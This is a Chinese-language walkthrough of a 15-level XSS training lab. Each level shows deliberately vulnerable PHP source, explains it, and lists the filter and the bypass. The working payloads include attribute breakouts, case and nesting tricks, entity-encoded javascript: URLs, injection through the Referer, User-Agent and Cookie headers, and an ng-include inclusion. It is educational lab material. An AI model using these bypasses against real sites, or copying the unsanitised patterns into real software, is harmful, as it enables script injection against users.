• 本篇文章参考:https://www.sqlsec.com/2020/01/xss.html

  • 在很久很久以前,就接触到了 XSS 部分的内容,当时用的 Github 上下载的源码进行的,最近打算翻新一下这部分知识。

  • 但是 Github 上的源码好像下架了,这里使用国光大佬的整理过的。

  • 项目地址:https://github.com/sqlsec/xssgame

  • 直接解压源码到 HTTP 服务的目录下,浏览器直接访问即可,无需配置数据库等信息:

image-20231201140406473

Level-1

  • 漏洞源码如下:
1
2
3
4
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户:".$str."</h2>";
  • 源码分析:
    • ini_set("display_errors", 0);:用于设置 PHP 的错误显示级别为 0,这意味着将不会在页面上显示任何 PHP 错误信息。
    • $str = $_GET["name"];:从 URL 的查询参数中获取名为 “name” 的值,并将其存储在变量 $str 中。通过 $_GET 变量,可以获取 GET 请求中的参数值。
    • echo "<h2 align=center>欢迎用户:".$str."</h2>";:使用 echo 语句将一个包含欢迎消息的 HTML 片段输出到页面上。其中,$str 变量的值被插入到消息中,用于显示用户的名称。
  • 过滤内容:无
  • 绕过方式:无
  • Payload:
1
?name=<script>alert('xss')</script>

Level-2

  • 漏洞源码如下:
1
2
3
4
5
6
7
8
9
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
  • 源码分析:
    • ini_set("display_errors", 0);:用于设置 PHP 的错误显示级别为 0,这意味着将不会在页面上显示任何 PHP 错误信息。
    • $str = $_GET["keyword"];:从 URL 的查询参数中获取名为 “keyword” 的值,并将其存储在变量 $str 中。通过 $_GET 变量,可以获取 GET 请求中的参数值。
    • echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>";:使用 echo 语句将一个包含搜索结果消息的 HTML 片段输出到页面上。其中,$str 变量的值被插入到消息中,用于显示用户搜索的关键字。htmlspecialchars() 函数用于将关键字中的特殊字符进行转义,以防止潜在的跨站脚本攻击。
    • <center>...</center>:输出一个包含搜索表单的 HTML 片段。该表单使用 GET 方法提交到 level2.php 页面,其中包含一个名为 “keyword” 的输入字段,其值被设置为之前用户输入的关键字 $str
  • 过滤内容:无
  • 绕过方式:
    • 闭合双引号
    • 闭合标签
  • Payload:
1
2
3
" onclick=alert('XSS') //
"><script>alert('XSS')</script><a "
"><script>alert('XSS')</script> //

Level-3

  • 漏洞源码如下:
1
2
3
4
5
6
7
8
9
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
  • 源码分析:
    • ini_set("display_errors", 0);:用于设置 PHP 的错误显示级别为 0,这意味着将不会在页面上显示任何 PHP 错误信息。
    • $str = $_GET["keyword"];:从 URL 的查询参数中获取名为 “keyword” 的值,并将其存储在变量 $str 中。通过 $_GET 变量,可以获取 GET 请求中的参数值。
    • echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>";:使用 echo 语句将一个包含搜索结果消息的 HTML 片段输出到页面上。其中,$str 变量的值被插入到消息中,用于显示用户搜索的关键字。htmlspecialchars() 函数用于将关键字中的特殊字符进行转义,以防止潜在的跨站脚本攻击。
    • <center>...</center>:输出一个包含搜索表单的 HTML 片段。该表单使用 GET 方法提交到 level3.php 页面,其中包含一个名为 “keyword” 的输入字段,其值被设置为经过转义后的关键字 htmlspecialchars($str)
  • 过滤内容:
    • htmlspecialchars():实体编码
  • 绕过方式:
    • 这里需要了解一下 htmlspecialchars() 函数,默认只编码双引号,而这里采用的是单引号闭合,这样就存在绕过的可能
  • Payload:
1
' onclick=alert('XSS') //

Level-4

  • 漏洞源码如下:
1
2
3
4
5
6
7
8
9
10
11
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
  • 源码分析:
    • ini_set("display_errors", 0);:用于设置 PHP 的错误显示级别为 0,这意味着将不会在页面上显示任何 PHP 错误信息。
    • $str = $_GET["keyword"];:从 URL 的查询参数中获取名为 “keyword” 的值,并将其存储在变量 $str 中。通过 $_GET 变量,可以获取 GET 请求中的参数值。
    • $str2=str_replace(">","",$str);:使用 str_replace() 函数将关键字 $str 中的大于号 > 替换为空字符串,去除关键字中的大于号。
    • $str3=str_replace("<","",$str2);:使用 str_replace() 函数将关键字 $str2 中的小于号 < 替换为空字符串,去除关键字中的小于号。
    • echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>";:使用 echo 语句将一个包含搜索结果消息的 HTML 片段输出到页面上。其中,$str 变量的值被插入到消息中,用于显示用户搜索的关键字。htmlspecialchars() 函数用于将关键字中的特殊字符进行转义,以防止潜在的跨站脚本攻击。
    • <center>...</center>:输出一个包含搜索表单的 HTML 片段。该表单使用 GET 方法提交到 level4.php 页面,其中包含一个名为 “keyword” 的输入字段,其值被设置为经过去除大于号和小于号后的关键字 $str3。输入字段后面是一个提交按钮,用于触发搜索操作。
  • 过滤内容:
    • 尖括号被替换,约等于删除掉了
  • 绕过方式:
    • 闭合双引号 ",采用事件属性则用不到尖括号
  • Payload:
1
" onclick=alert('XSS') //

Level-5

  • 漏洞源码如下:
1
2
3
4
5
6
7
8
9
10
11
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
  • 源码分析:
    • ini_set("display_errors", 0);:用于设置 PHP 的错误显示级别为 0,这意味着将不会在页面上显示任何 PHP 错误信息。
    • $str = $_GET["keyword"];:从 URL 的查询参数中获取名为 “keyword” 的值,并将其存储在变量 $str 中。通过 $_GET 变量,可以获取 GET 请求中的参数值。此外,使用 strtolower() 函数将关键字转换为小写字母,以便对字符串进行后续处理。
    • $str2=str_replace("<script","<scr_ipt",$str);:使用 str_replace() 函数将关键字 $str 中的 “<script” 替换为 “<scr_ipt”。
    • $str3=str_replace("on","o_n",$str2);:使用 str_replace() 函数将关键字 $str2 中的 “on” 替换为 “o_n”。
    • echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>";:使用 echo 语句将一个包含搜索结果消息的 HTML 片段输出到页面上。其中,$str 变量的值被插入到消息中,用于显示用户搜索的关键字。htmlspecialchars() 函数用于将关键字中的特殊字符进行转义,以防止潜在的跨站脚本攻击。
    • <center>...</center>:输出一个包含搜索表单的 HTML 片段。该表单使用 GET 方法提交到 level5.php 页面,其中包含一个名为 “keyword” 的输入字段,其值被设置为经过替换处理后的关键字 $str3
  • 过滤内容:
    • script 标签、事件属性被替换
  • 绕过方式:
    • 可以在 input 标签中采用 JavaScritp URL,但此类方法一般要配合 a 标签才行。
  • Payload:
1
"><a href=javascript:alert('XSS')>1</a> //

Level-6

  • 漏洞源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
  • 源码分析:
    • ini_set("display_errors", 0);:用于设置 PHP 的错误显示级别为 0,这意味着将不会在页面上显示任何 PHP 错误信息。
    • $str = $_GET["keyword"];:从 URL 的查询参数中获取名为 “keyword” 的值,并将其存储在变量 $str 中。通过 $_GET 变量,可以获取 GET 请求中的参数值。
    • $str2=str_replace("<script","<scr_ipt",$str);:使用 str_replace() 函数将关键字 $str 中的 “<script” 替换为 “<scr_ipt”
    • $str3=str_replace("on","o_n",$str2);:使用 str_replace() 函数将关键字 $str2 中的 “on” 替换为 “o_n”
    • $str4=str_replace("src","sr_c",$str3);:使用 str_replace() 函数将关键字 $str3 中的 “src” 替换为 “sr_c”
    • $str5=str_replace("data","da_ta",$str4);:使用 str_replace() 函数将关键字 $str4 中的 “data” 替换为 “da_ta”
    • $str6=str_replace("href","hr_ef",$str5);:使用 str_replace() 函数将关键字 $str5 中的 “href” 替换为 “hr_ef”
    • echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>";:使用 echo 语句将一个包含搜索结果消息的 HTML 片段输出到页面上。其中,$str 变量的值被插入到消息中,用于显示用户搜索的关键字。htmlspecialchars() 函数用于将关键字中的特殊字符进行转义,以防止潜在的跨站脚本攻击。
    • <center>...</center>:输出一个包含搜索表单的 HTML 片段。该表单使用 GET 方法提交到 level6.php 页面,其中包含一个名为 “keyword” 的输入字段,其值被设置为经过替换处理后的关键字 $str6
  • 过滤内容:
    • script 标签、事件属性等被替换
  • 绕过方式:
    • 少了 strtolower() 函数,所以这里可以通过大小写转换来绕过过滤。
  • Payload:
1
2
" Onclick=alert('XSS') //
"><a hRef=javascript:alert('XSS')>1</a> //

Level-7

  • 漏洞源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
  • 源码分析:
    • ini_set("display_errors", 0);:用于设置 PHP 的错误显示级别为 0,这意味着将不会在页面上显示任何 PHP 错误信息。
    • $str =strtolower( $_GET["keyword"]);:从 URL 的查询参数中获取名为 “keyword” 的值,并将其存储在变量 $str 中。通过 $_GET 变量,可以获取 GET 请求中的参数值。同时,使用 strtolower() 函数将关键字转换为小写字母,以便对字符串进行后续处理。
    • $str2=str_replace("script","",$str);:使用 str_replace() 函数将关键字 $str 中的 “script” 替换为空字符串
    • $str3=str_replace("on","",$str2);:使用 str_replace() 函数将关键字 $str2 中的 “on” 替换为空字符串
    • $str4=str_replace("src","",$str3);:使用 str_replace() 函数将关键字 $str3 中的 “src” 替换为空字符串
    • $str5=str_replace("data","",$str4);:使用 str_replace() 函数将关键字 $str4 中的 “data” 替换为空字符串
    • $str6=str_replace("href","",$str5);:使用 str_replace() 函数将关键字 $str5 中的 “href” 替换为空字符串
    • echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>";:使用 echo 语句将一个包含搜索结果消息的 HTML 片段输出到页面上。其中,$str 变量的值被插入到消息中,用于显示用户搜索的关键字。htmlspecialchars() 函数用于将关键字中的特殊字符进行转义,以防止潜在的跨站脚本攻击。
    • <center>...</center>:输出一个包含搜索表单的 HTML 片段。该表单使用 GET 方法提交到 level7.php 页面,其中包含一个名为 “keyword” 的输入字段,其值被设置为经过替换处理后的关键字 $str6
  • 过滤内容:
    • script 标签、事件属性等被替换
  • 绕过方式:
    • 这里的过滤比较巧妙,是直接将敏感字符替换为空(即删掉了),这种机制我们可以尝试使用嵌套构造 payload 来绕过。
  • Payload:
1
" oonnclick=alert('XSS') //

Level-8

  • 漏洞源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
  • 源码分析:
    • ini_set("display_errors", 0);:用于设置 PHP 的错误显示级别为 0,这意味着将不会在页面上显示任何 PHP 错误信息。
    • $str =strtolower( $_GET["keyword"]);:从 URL 的查询参数中获取名为 “keyword” 的值,并将其存储在变量 $str 中。通过 $_GET 变量,可以获取 GET 请求中的参数值。同时,使用 strtolower() 函数将关键字转换为小写字母,以便对字符串进行后续处理。
    • $str2=str_replace("script","scr_ipt",$str);:使用 str_replace() 函数将关键字 $str 中的 “script” 替换为 “scr_ipt”。
    • $str3=str_replace("on","o_n",$str2);:使用 str_replace() 函数将关键字 $str2 中的 “on” 替换为 “o_n”。
    • $str4=str_replace("src","sr_c",$str3);:使用 str_replace() 函数将关键字 $str3 中的 “src” 替换为 “sr_c”。
    • $str5=str_replace("data","da_ta",$str4);:使用 str_replace() 函数将关键字 $str4 中的 “data” 替换为 “da_ta”。
    • $str6=str_replace("href","hr_ef",$str5);:使用 str_replace() 函数将关键字 $str5 中的 “href” 替换为 “hr_ef”。
    • $str7=str_replace('"','&quot',$str6);:使用 str_replace() 函数将关键字 $str6 中的双引号替换为 &quot
    • echo '<center>...</center>';:输出一个包含添加友情链接的表单的 HTML 片段。该表单使用 GET 方法提交到 level8.php 页面,其中包含一个名为 “keyword” 的输入字段,其值被设置为经过替换处理后的关键字 $str。输入字段后面是一个提交按钮,用于触发添加友情链接的操作。
    • echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';:输出一个包含友情链接的 HTML 片段。链接的 URL 是关键字 $str7,即经过替换处理后的关键字。链接中的双引号被替换成了 &quot,以防止引起 HTML 语法错误。
  • 过滤内容:
    • script 标签、事件属性等被替换
  • 绕过方式:
    • input 标签处是双引号闭合,所以无法利用 htmlspecialchars() 函数编码的默认值。
    • 由于是在 a 标签里,这里可以使用 JavaScript URL 进行,绕过可以采用 HTML 实体字符(10进制/16进制)
  • Payload:
1
javascrip&#116;:alert('XSS') //

Level-9

  • 漏洞源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
  • 源码分析:
    • ini_set("display_errors", 0);:用于设置 PHP 的错误显示级别为 0,这意味着将不会在页面上显示任何 PHP 错误信息。
    • $str =strtolower( $_GET["keyword"]);:从 URL 的查询参数中获取名为 “keyword” 的值,并将其存储在变量 $str 中。通过 $_GET 变量,可以获取 GET 请求中的参数值。同时,使用 strtolower() 函数将关键字转换为小写字母,以便对字符串进行后续处理。
    • $str2=str_replace("script","scr_ipt",$str);:使用 str_replace() 函数将关键字 $str 中的 “script” 替换为 “scr_ipt”。
    • $str3=str_replace("on","o_n",$str2);:使用 str_replace() 函数将关键字 $str2 中的 “on” 替换为 “o_n”。
    • $str4=str_replace("src","sr_c",$str3);:使用 str_replace() 函数将关键字 $str3 中的 “src” 替换为 “sr_c”。
    • $str5=str_replace("data","da_ta",$str4);:使用 str_replace() 函数将关键字 $str4 中的 “data” 替换为 “da_ta”。
    • $str6=str_replace("href","hr_ef",$str5);:使用 str_replace() 函数将关键字 $str5 中的 “href” 替换为 “hr_ef”。
    • $str7=str_replace('"','&quot',$str6);:使用 str_replace() 函数将关键字 $str6 中的双引号替换为 &quot
    • echo '<center>...</center>';:输出一个包含添加友情链接的表单的 HTML 片段。该表单使用 GET 方法提交到 level9.php 页面,其中包含一个名为 “keyword” 的输入字段,其值被设置为经过替换处理后的关键字 $str。输入字段后面是一个提交按钮,用于触发添加友情链接的操作。
    • if(false===strpos($str7,'http://')):使用 strpos() 函数检查 $str7 中是否包含 “http://“。如果不包含该字符串,则条件判断为真。
    • echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';:如果链接不合法(不包含 “http://“),则输出一个文本为 “您的链接不合法?有没有!” 的友情链接。
    • echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';: 输出一个友情链接,链接的 URL 是经过替换处理后的关键字 $str7
  • 过滤内容:
    • script 标签、事件属性等被替换;
    • 含有指定字符串。
  • 绕过方式:
    • input 标签处是双引号闭合,所以无法利用 htmlspecialchars() 函数编码的默认值。
    • 由于是在 a 标签里,这里可以使用 JavaScript URL 进行,绕过可以采用 HTML 实体字符(10进制/16进制)
    • 字符串问题可以直接写在 alert 里面。
  • Payload:
1
2
javascrip&#116;:alert('http://') //
javascrip&#116;:alert('XSS') //http://

Level-10

  • 漏洞源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
  • 源码分析:
    • ini_set("display_errors", 0);:用于设置 PHP 的错误显示级别为 0,这意味着将不会在页面上显示任何 PHP 错误信息。
    • $str = $_GET["keyword"];:从 URL 的查询参数中获取名为 “keyword” 的值,并将其存储在变量 $str 中。
    • $str11 = $_GET["t_sort"];:从 URL 的查询参数中获取名为 “t_sort” 的值,并将其存储在变量 $str11 中。
    • $str22=str_replace(">","",$str11);:使用 str_replace() 函数将变量 $str11 中的 “>” 替换为空字符串,即去除 “>” 符号。
    • $str33=str_replace("<","",$str22);:使用 str_replace() 函数将变量 $str22 中的 “<” 替换为空字符串,即去除 “<” 符号。
    • echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>...</center>';:输出一个标题为 “没有找到和” 用户输入的关键字 “相关的结果.” 的 HTML 片段。输出的内容包含在 <h2> 标签中,并使用 htmlspecialchars() 函数对关键字进行 HTML 转义,以避免潜在的跨站脚本攻击。
    • <form id=search>...</form>:定义了一个 id 为 “search” 的表单。该表单没有指定 action 属性,因此会默认提交到当前页面。表单中包含了三个隐藏的输入字段,它们的值分别为空字符串。这些字段分别是 “t_link”、”t_history” 和 “t_sort”。
  • 过滤内容:
    • 尖括号被替换。
  • 绕过方式:
    • 可以尝试直接在标签中闭合构造事件来弹窗,还得注意一点就是这里的 input 标签使用了 type="hidden" 将输入框隐藏了起来,可以手动赋值 type 的值来覆盖掉先前的属性来达到显示文本框的目的。
  • Payload:
1
?keyword=123&t_sort=" type="" onclick=alert('XSS') //

Level-11

  • 漏洞源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
  • 源码分析:
    • ini_set("display_errors", 0);:用于设置 PHP 的错误显示级别为 0,这意味着将不会在页面上显示任何 PHP 错误信息。
    • $str = $_GET["keyword"];:从 URL 的查询参数中获取名为 “keyword” 的值,并将其存储在变量 $str 中。
    • $str00 = $_GET["t_sort"];:从 URL 的查询参数中获取名为 “t_sort” 的值,并将其存储在变量 $str00 中。
    • $str11=$_SERVER['HTTP_REFERER'];:从 $_SERVER 变量中获取名为 “HTTP_REFERER” 的值,并将其存储在变量 $str11 中。该值表示用户上一次访问的页面 URL。
    • $str22=str_replace(">","",$str11);:使用 str_replace() 函数将变量 $str11 中的 “>” 替换为空字符串,即去除 “>” 符号。
    • $str33=str_replace("<","",$str22);:使用 str_replace() 函数将变量 $str22 中的 “<” 替换为空字符串,即去除 “<” 符号。
    • echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>...</center>';:输出一个标题为 “没有找到和” 用户输入的关键字 “相关的结果.” 的 HTML 片段。输出的内容包含在 <h2> 标签中,并使用 htmlspecialchars() 函数对关键字进行 HTML 转义,以避免潜在的跨站脚本攻击。
    • <form id=search>...</form>:定义了一个 id 为 “search” 的表单。该表单没有指定 action 属性,因此会默认提交到当前页面。表单中包含了四个隐藏的输入字段,它们的值分别为空字符串或经过处理的值。这些字段分别是 “t_link”、”t_history”、”t_sort” 和 “t_ref”。
  • 过滤内容:
    • 尖括号被替换。
  • 绕过方式:
    • 观察 $str33 是通过 $str11=$_SERVER['HTTP_REFERER']; 过滤了尖括号然后赋值的,那么尝试在 HTTP 请求头的 Referer 构造 payload。
  • Payload:
1
Referer: " type="" onclick=alert('XSS') //

Level-12

  • 漏洞源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
  • 源码分析:
    • ini_set("display_errors", 0);:用于设置 PHP 的错误显示级别为 0,这意味着将不会在页面上显示任何 PHP 错误信息。
    • $str = $_GET["keyword"];:从 URL 的查询参数中获取名为 “keyword” 的值,并将其存储在变量 $str 中。
    • $str00 = $_GET["t_sort"];
    • $str11=$_SERVER['HTTP_USER_AGENT'];
    • $str22=str_replace(">","",$str11);
    • $str33=str_replace("<","",$str22);
    • echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>...</center>';:输出一个标题为 “没有找到和” 用户输入的关键字 “相关的结果.” 的 HTML 片段。输出的内容包含在 <h2> 标签中,并使用 htmlspecialchars() 函数对关键字进行 HTML 转义,以避免潜在的跨站脚本攻击。后面是一个搜索表单的 HTML 片段,其中包含了隐藏的输入字段和一个提交按钮。
    • <form id=search>...</form>:定义了一个 id 为 “search” 的表单。该表单没有指定 action 属性,因此会默认提交到当前页面。表单中包含了四个隐藏的输入字段,它们的值分别为空字符串或经过处理的值。这些字段分别是 “t_link”、”t_history”、”t_sort” 和 “t_ua”。
  • 过滤内容:
    • 尖括号被替换。
  • 绕过方式:
    • 这一题和上一题类似,只是这里的漏洞点出现在了 HTTP 请求头的 User-Agent
  • Payload:
1
User-Agent: " type="" onclick=alert('XSS') //

Level-13

  • 漏洞源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
  • 源码分析:
    • setcookie("user", "call me maybe?", time()+3600);:用于设置名为 “user” 的 Cookie,其值为 “call me maybe?”。
    • ini_set("display_errors", 0);:用于设置 PHP 的错误显示级别为 0,这意味着将不会在页面上显示任何 PHP 错误信息。
    • $str = $_GET["keyword"];:从 URL 的查询参数中获取名为 “keyword” 的值,并将其存储在变量 $str 中。
    • $str00 = $_GET["t_sort"];:从 URL 的查询参数中获取名为 “t_sort” 的值,并将其存储在变量 $str00 中。
    • $str11=$_COOKIE["user"];:从 $_COOKIE 变量中获取名为 “user” 的 Cookie 值,并将其存储在变量 $str11 中。
    • $str22=str_replace(">","",$str11);:使用 str_replace() 函数将变量 $str11 中的 “>” 替换为空字符串,即去除 “>” 符号。
    • $str33=str_replace("<","",$str22);:使用 str_replace() 函数将变量 $str22 中的 “<” 替换为空字符串,即去除 “<” 符号。
    • echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>...</center>';:输出一个标题为 “没有找到和” 用户输入的关键字 “相关的结果.” 的 HTML 片段。输出的内容包含在 <h2> 标签中,并使用 htmlspecialchars() 函数对关键字进行 HTML 转义,以避免潜在的跨站脚本攻击。后面是一个搜索表单的 HTML 片段,其中包含了隐藏的输入字段和一个提交按钮。
    • <form id=search>...</form>:定义了一个 id 为 “search” 的表单。该表单没有指定 action 属性,因此会默认提交到当前页面。表单中包含了四个隐藏的输入字段,它们的值分别为空字符串或经过处理的值。这些字段分别是 “t_link”、”t_history”、”t_sort” 和 “t_cook”。
  • 过滤内容:
    • 尖括号被替换。
  • 绕过方式:
    • 这里的漏洞点出现在了 HTTP 请求头的 Cookieuser 属性中。
  • Payload:
1
Cookie: user=" type="" onclick=alert('XSS') //

Level-14

  • 漏洞源码如下:
1
2
3
4
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
  • 源码分析:
    • ini_set("display_errors", 0);:用于设置 PHP 的错误显示级别为 0,这意味着将不会在页面上显示任何 PHP 错误信息。
    • $str = $_GET["src"];:从 URL 的查询参数中获取名为 “src” 的值,并将其存储在变量 $str 中。通过 $_GET 变量,可以获取 GET 请求中的参数值。
    • echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';:输出一个包含 <span> 标签的 HTML 片段。htmlspecialchars() 函数用于对用户输入的值进行 HTML 转义,以避免潜在的跨站脚本攻击。在 <span> 标签的 class 属性中,使用了 AngularJS 的 “ng-include” 指令,并将用户输入的值插入到指令的表达式中。
  • 过滤内容:
    • htmlspecialchars():实体编码
  • 绕过方式:
    • ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。所以这里就用来包含其他关的页面来触发弹窗。
  • Payload:
1
?src="level1.php?name=<img src=x onerror=alert('XSS')>"

注:具体可以参考这篇资料:AngularJS ng-include 指令

Level-15

  • 漏洞源码如下:
1
2
3
4
5
6
7
8
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
  • 源码分析:
    • ini_set("display_errors", 0);:用于设置 PHP 的错误显示级别为 0,这意味着将不会在页面上显示任何 PHP 错误信息。
    • $str = strtolower($_GET["keyword"]);:从 URL 的查询参数中获取名为 “keyword” 的值,并将其存储在变量 $str 中。使用 strtolower() 函数将查询参数的值转换为小写字母,以统一大小写。
    • $str2=str_replace("script","&nbsp;",$str);:使用 str_replace() 函数将变量 $str 中的字符串 “script” 替换为 ,即将 “script” 替换为空格字符。
    • $str3=str_replace(" ","&nbsp;",$str2);:使用 str_replace() 函数将变量 $str2 中的空格字符替换为 ,即将空格字符替换为空格实体。
    • $str4=str_replace("/"," ",$str3);:使用 str_replace() 函数将变量 $str3 中的斜杠字符 “/“ 替换为 ,即将斜杠字符替换为空格实体。
    • $str5=str_replace(" "," ",$str4);:使用 str_replace() 函数将变量 $str4 中的制表符字符 “ “ 替换为 ,即将制表符字符替换为空格实体。
    • echo "<center>".$str5."</center>";:输出一个居中对齐的字符串,其中包含了经过处理的变量 $str5 的值。
  • 过滤内容:
    • script 和空格等被替换。
  • 绕过方式:
    • 可以使用如下符号替代空格:%0d、%0a
  • Payload:
1
?keyword=<img%0asrc=x%0aonerror=alert('XSS')>